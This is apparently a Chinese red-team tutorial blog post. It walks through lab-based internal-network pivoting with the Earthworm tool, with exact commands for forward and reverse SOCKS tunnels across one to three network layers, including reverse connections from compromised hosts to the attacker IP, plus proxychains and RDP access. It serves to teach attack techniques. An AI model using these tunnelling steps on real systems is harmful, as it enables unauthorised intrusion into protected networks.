ATT&CK视角下的红蓝对抗:四. 内网穿透之通过Earthworm(EW)进行隧道穿透

2023-11-01 09:35:39 浏览数 (2)

 前文推荐:

ATT&CK视角下的红蓝对抗:一. 隧道穿透技术详解

ATT&CK视角下的红蓝对抗:二. 内网探测协议出网

ATT&CK视角下的红蓝对抗:三. 内网常规隧道利用方法

ATT&CK视角下的红蓝对抗:四. 内网穿透之通过Earthworm(EW)进行隧道穿透

一. 通过Earthworm(EW)进行隧道穿透

在进行多层网段渗透时,我们经常会遇到各种代理隧道问题,仅靠使用端口转发无法完成,可以利用Socks协议建立隧道进行连接,Socks是代理服务可以说是lcx端口转发工具的升级版,有两种协议,分别是Socks 4和Socks 5。Socks 4只支持TCP,Socks 5支持TCP/UDP,核心功能是帮助他人通过socks访问网络。在主机上配置Socks协议代理服务,访问网站时Socks充当了中间人的角色,分别与双方(B/S)进行通信,然后将获得的结果通知对方,攻击者可以通过Socks客户端连接Socks服务,进而实现跳板攻击,EW工具使用具体参数如表1-1所示。

表1-1 EW参数介绍

参数

作用

Ssocksd

正向代理

Rcsock

反向代理客户端

Rssocks

反向代理服务端

Lcx_slave

一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机

Lcx_tran

通过监听本地端口接收代理请求,并转发给代理提供主机

Lcx_listen

通过监听本地端口接收数据,并将其转交给目标网络会连的代理提供主机

假设在内网渗透中发现主机,通过漏洞获取到管理权限,以Earthworm内网穿透工具为案例,通过socks协议演示连通内外网,本次实验环境如表1-1所示,实验拓扑如图1-1所示。

图1-1 通过EW进行隧道穿透图1-1 通过EW进行隧道穿透

表1-1 通过EW进行隧道穿透实验环境表

主机类型

服务类型

IP地址

区域

Kali 2022

攻击机

192.168.0.58

外网

Windows server 2012

Web服务器

192.168.0.25, 192.168.52.11

DMZ区域

windows server 2008

FTP 服务器

192.168.52.12, 192.168.1.49

DMZ区域

windows 10

PC主机

192.168.1.50, 192.168.2.2

办公区域

Windows server 2012

核心服务器

192.168.2.3

核心区域


1.一层正向连接

1)假设拿到Web服务器的Webshell权限后,探测到无法访问外网,这时上传EW工具到Web服务器进行隧道穿透。使用EW工具的ssocksd参数做正向代理,设置Socks代理监听本地8888端口,执行命令ew_for_Win.exe -s ssocksd -l 8888,其中-s参数是指定选择参数,这里指定ssocksd做正向代理,-l参数是指定本地监听端口,如图1-2所示。

图1-2启动正向代理图1-2启动正向代理

2)在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 192.168.0.25 8888参数来完成 proxychains代理配置,如图1-13所示。

图1-3 修改proxychains配置文件图1-3 修改proxychains配置文件

3)当配置完 proxychains 代理后,即可在攻击机执行proxychains rdesktop 192.168.52.12命令来连接FTP服务器,如图1-4所示,通过所建立的socks协议隧道,我们可以直接远程连接到FTP服务器中。

图1-4 连接成功图1-4 连接成功


2.一层反向代理

1)假设当Web服务器它允许访问外部网络的情况下,可以利用EW工具以反向代理的方式进行socks隧道穿透,在Web服务器使用EW工具执行ew_for_Win.exe -s rssocks -d 192.168.0.58 -e 6666命令,连接攻击机服务端稍后监听的6666端口,-rssocks参数指连接反向代理服务端,-d参数指向攻击机的IP,-e参数指向攻击机开启监听的端口如图1-5所示。

图1-5 跳板机执行命令图1-5 跳板机执行命令

2)在攻击机上使用EW工具开启服务端监听,执行./ew_for_linux64 -s rcsocks -e 6666 -d 8888命令,监听本地6666端口,同时6666端口流量映射到8888端口。其中-s参数指定使用rcsocks反向代理的方式,-e参数在这里是指攻击机服务端开启监听端口,-d参数是将要映射的端口,如图1-6所示。

图1-6攻击机执行命令图1-6攻击机执行命令

3)在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 8888参数来完成proxychains代理配置,如图1-7所示。

图1-7修改proxychains配置文件图1-7修改proxychains配置文件

4)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.12命令来连接FTP服务器,如图1-8所示,通过所建立的socks协议隧道,我们可以直接远程连接到FTP服务器中。

图1-8 一层反向连接成功图1-8 一层反向连接成功

3.二层正向代理

通过上述场景实现隧道穿透,通过后续利用获取到FTP权限,接着探测到办公区域PC主机开放RDP服务3389端口,通过获取到的凭证打算对其进行连接,在这里继续通过EW工具,实现在二层内网代理中连接PC主机的远程桌面服务,但PC主机只与FTP服务器连通,可以通过FTP服务器与Web服务器之间搭建隧道,在与kali攻击机搭建隧道,进行访问。

1)假设通过上述实验获取了FTP的控制权,在FTP服务器主机上传EW工具,执行ew_for_Win.exe -s ssocksd -l 8888命令,开启监听本机8888端口,如图1-9所示。

图1-9 FTP服务器执行命令图1-9 FTP服务器执行命令

2)在Web服务器使用EW工具,执行ew_for_Win.exe -s lcx_tran -l 7777 -f 192.168.52.12 -g 8888命令,使用Web服务器的7777端口连接FTP服务器的8888端口,在它们中间搭建一条隧道,其中-f指定FTP服务器的IP,-g指定FTP服务器监听端口,-l指定本机监听端口,此时隧道已搭建成功,如图1-10所示。

图1-10 出网边界机执行命令图1-10 出网边界机执行命令

3)在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 192.168.0.25 7777参数来完成 proxychains代理配置,如图1-11所示。

图1-11 修改proxychains配置文件图1-11 修改proxychains配置文件

4)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.1.50命令来连接PC主机,如图 1-12 所示,通过所建立的socsk协议隧道,我们可以直接远程连接到PC主机。

图1-12 二层正向代理连接成功图1-12 二层正向代理连接成功

4.二层反向代理

1)假设当FTP服务器允许出网时,以反向代理为案例,演示二层反向代理如何进行隧道穿透,在FTP服务器执行ew_for_Win.exe -s ssocksd -l 8888"命令,设置监听8888端口,如图1-13所示。

图1-13  FTP服务器执行命令图1-13 FTP服务器执行命令

2)在kali攻击机上开启本地监听,执行./ew_for_linux64 -s lcx_listen -l 8888 -e 7777命令,将稍后用于连接kali攻击机的7777端口转发到它的8888端口上。如图1-14所示。

图1-14 攻击机执行命令图1-14 攻击机执行命令

3)接下来在Web服务器执行ew_for_Win.exe -s lcx_slave -d 192.168.0.58 -e 7777 -f 192.168.52.12 -g 8888命令,将FTP服务器的8888端口转发到Kali攻击机的7777监听端口,如图1-15所示。

图1-15 执行命令图1-15 执行命令

4)在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 8888参数来完成proxychains代理配置,如图1-16所示。

图1-16 修改proxychains配置文件图1-16 修改proxychains配置文件

当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.1.50命令来连接PC主机,如图1-17 所示,通过所建立的socsk协议隧道,我们可以直接远程连接到PC主机。

图1-17 二层反向代理连接成功图1-17 二层反向代理连接成功

5.三层正向代理

假设通过上述描述,利用隧道穿透获取到了办公区域的PC机权限,探测后发现核心服务器的存在于PC主机处于同一网段,通过已知的凭据,最终目标是利用上传EW工具进行隧道穿透获取到核心服务器的权限。

1)假设在内网中PC主机不允许出网,利用正向代理的方式,执行ew_for_Win.exe -s ssocksd -l 8888命令,在PC主机上设置本地监听端口为8888,如图1-18所示。

图1-18 设置本地端口监听图1-18 设置本地端口监听

2)在FTP服务器执行ew_for_Win.exe -s lcx_tran 7777 -f 192.168.1.50 -g 8888命令连接PC主机设置的监听,同时将流量转发给本地的7777端口。如图1-19所示。

图1-19 设置PC主机监听图1-19 设置PC主机监听

3)继续在FTP服务器另外在打开cmd命令行,执行ew_for_Win.exe -s ssocksd -l 7777, 开启监听本地7777端口,如图1-20所示。

图1-20 监听本地7777端口图1-20 监听本地7777端口

4)然后在Web服务器使用EW工具执行ew_for_Win.exe -s lcx_tran 8888 -f 192.168.52.12 7777命令,去连接FTP服务器的7777端口,转发到Web服务器的8888端口如图1-21所示。

图1-21 端口转发图1-21 端口转发

5)接下来在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 192.168.0.25 8888参数来完成 proxychains 代理配置,如图1-22所示。

图1-22 配置socks5代理图1-22 配置socks5代理

6)当配置完 proxychains 代理后,即可在攻击机执行proxychains rdesktop 192.168.2.3命令来连接靶机,如图 1-23 所示,通过所建立的 socks 协议隧道,我们可以直接远程连接到“靶机”中。

图1-23 连接成功图1-23 连接成功

6.三层反向代理

根据上述所讲情况,假设PC主机可以出外网,利用EW工具使用反向连接的方式来进行演示三层隧道穿透。

1)在攻击机kali进行设置,执行ew_for_Win.exe -s rcsocks -l 1080 -e 8888命令设置监听本地端口8888指向本地1080端口,如图1-24所示。

图1-24 反向连接图1-24 反向连接

2)在Web服务器设置监听执行ew_for_Win.exe -s lcx_slave -d 192.168.0.58 -e 8888 -f 192.168.52.12 -g 9999命令,将稍后监听到FTP服务器的9999端口流量转发到kali攻击机的8888端口,如图1-25所示。

图1-25 转发端口图1-25 转发端口

3)接下来在FTP服务器设置,将FTP稍后监听7777端口的流量转发给本地的9999端口,执行ew_for_Win.exe -s lcx_listen -l 9999 -e 7777命令,这里是指稍后搭建的隧道流量,会通过本地的7777端口转发到本地的9999端口,如图1-26所示。

图1-26 流量端口转发图1-26 流量端口转发

4)最后在PC主机设置,执ew_for_Win.exe -s rssocks -d 192.168.1.49 -e 7777命令,将流量转发到FTP服务器的7777端口,此时隧道已经连接通,如图1-27所示。

图1-27 流量端口转发图1-27 流量端口转发

5)此时隧道已完成,在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 1080参数来完成proxychains代理配置,如图1-28所示。

图1-28 修改proxychains配置文件图1-28 修改proxychains配置文件

当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.2.3命令来连接靶机,如图1-29所示,通过所建立的socks协议隧道,我们可以直接远程连接到靶机。

图 1-29连接内网靶机图 1-29连接内网靶机

二.本篇总结

随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网,通过本篇文章从Earthworm(EW)隧道工具的利用方式,并且通过大量的案例来演示了多个实际常见的隧道场景,比如我们通过拿到系统权限后利用多个协议实现隧道穿透、端口转发、内网穿透,总之,希望本篇内容对读者有所帮助。

我正在参与2023腾讯技术创作特训营第三期有奖征文,组队打卡瓜分大奖!

0 人点赞